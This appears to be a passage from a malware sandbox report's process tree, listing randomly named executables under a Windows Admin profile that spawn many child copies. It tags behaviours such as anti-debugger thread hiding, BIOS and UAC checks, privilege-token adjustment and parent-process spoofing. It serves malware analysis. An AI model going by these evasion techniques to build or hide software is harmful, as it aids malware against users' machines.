C:\Users\Admin\AppData\Roaming\2621700.exe"C:\Users\Admin\AppData\Roaming\2621700.exe"9⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:8656
-
-
C:\Users\Admin\AppData\Roaming\7977986.exe"C:\Users\Admin\AppData\Roaming\7977986.exe"9⤵PID:7380
-
-
C:\Users\Admin\AppData\Roaming\1471048.exe"C:\Users\Admin\AppData\Roaming\1471048.exe"9⤵PID:5332
-
-
C:\Users\Admin\AppData\Roaming\8292912.exe"C:\Users\Admin\AppData\Roaming\8292912.exe"9⤵PID:9020
-
-
-
C:\Users\Admin\Documents\JP95M0fSjDsDsR8mJ_xE85zx.exe"C:\Users\Admin\Documents\JP95M0fSjDsDsR8mJ_xE85zx.exe"8⤵PID:5392
-
-
C:\Users\Admin\Documents\wjYpqESVRSvQIArrKxFithSb.exe"C:\Users\Admin\Documents\wjYpqESVRSvQIArrKxFithSb.exe"8⤵PID:8460
-
C:\Users\Admin\Documents\wjYpqESVRSvQIArrKxFithSb.exe"C:\Users\Admin\Documents\wjYpqESVRSvQIArrKxFithSb.exe" -u9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9388
-
-
-
C:\Users\Admin\Documents\e5JocNy3iiNEQbai74C8FPs1.exe"C:\Users\Admin\Documents\e5JocNy3iiNEQbai74C8FPs1.exe"8⤵PID:8704
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8704 -s 2409⤵
- Program crash
PID:6508
-
-
-
C:\Users\Admin\Documents\lMWDTVLWmetwnit4wo3qOElo.exe"C:\Users\Admin\Documents\lMWDTVLWmetwnit4wo3qOElo.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:8368
-
-
C:\Users\Admin\Documents\d1vmnC_FRzH2kYORSnYkzNgD.exe"C:\Users\Admin\Documents\d1vmnC_FRzH2kYORSnYkzNgD.exe"8⤵PID:5404
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 2809⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:9816
-
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe"C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe"8⤵PID:8880
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7884
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6388
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9828
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6320
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9376
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8264
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8580
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7212
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8524
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:1676
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9036
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7376
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8400
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10396
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10140
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10848
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10440
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6300
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7256
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8936
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5008
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7264
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11140
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11096
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8916
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:4012
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8220
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8348
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11108
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9596
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9752
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10372
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7772
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11052
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2044
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10288
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:3844
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5220
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:4044
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10556
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6044
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:4308
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10056
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2248
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10464
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7616
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10276
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6192
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6036
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:1508
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9012
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:3792
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5660
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5368
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9140
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9412
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9412 -s 2810⤵
- Program crash
PID:8464
-
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:4896
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2016
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:1360
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8044
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3148
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10612
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10528
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10444
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5096
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵
- Suspicious use of AdjustPrivilegeToken
PID:6172
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5828
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10356
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9416
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6672
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5248
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:936
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6532
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8552
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6180
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5496
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:8896
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11764
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2240
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11948
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11676
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5384
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13236
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12928
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13212
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10824
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12928
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5368
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10316
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13468
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14052
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13716
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14332
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14104
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2784
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14168
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14160
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10560
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13932
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14148
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13696
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12112
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12032
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10460
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11952
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13260
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7092
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:4680
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:1896
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10808
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7984
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6340
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:10512
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:9724
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2960
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5276
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11436
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5352
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7832
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12664
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:5368
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13400
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:6608
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:15212
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:7904
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14904
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 14904 -s 2810⤵
- Program crash
PID:7764
-
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12488
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:1900
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:14764
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:2912
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:13812
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:12948
-
-
C:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exeC:\Users\Admin\Documents\V60K7lrty0WkifU53uH86gHY.exe9⤵PID:11296
-
-
-
C:\Users\Admin\Documents\7RogQiZGsyuFP7ltAZ8RcdkU.exe"C:\Users\Admin\Documents\7RogQiZGsyuFP7ltAZ8RcdkU.exe"8⤵
- Drops file in Program Files directory
PID:6936
-
-
C:\Users\Admin\Documents\viUS0pAJRxNo5Ygv6Ns0H1zK.exe"C:\Users\Admin\Documents\viUS0pAJRxNo5Ygv6Ns0H1zK.exe"8⤵PID:8332
-
C:\Users\Admin\AppData\Roaming\1329575.exe"C:\Users\Admin\AppData\Roaming\1329575.exe"9⤵PID:1112
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1112 -s 231210⤵
- Program crash
PID:6180
-
-
-
C:\Users\Admin\AppData\Roaming\6495130.exe"C:\Users\Admin\AppData\Roaming\6495130.exe"9⤵PID:3300
-
-
C:\Users\Admin\AppData\Roaming\8169971.exe"C:\Users\Admin\AppData\Roaming\8169971.exe"9⤵PID:7588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7588 -s 243610⤵
- Program crash
PID:9904
-
-
-
C:\Users\Admin\AppData\Roaming\7219187.exe"C:\Users\Admin\AppData\Roaming\7219187.exe"9⤵PID:5296
-
-
C:\Users\Admin\AppData\Roaming\3092616.exe"C:\Users\Admin\AppData\Roaming\3092616.exe"9⤵PID:5204
-
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe"C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe"8⤵PID:2224
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6524
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7352
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10048
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:1452
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:928
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6336
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7384
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6972
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4512
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7796
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9900
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8164
-
-
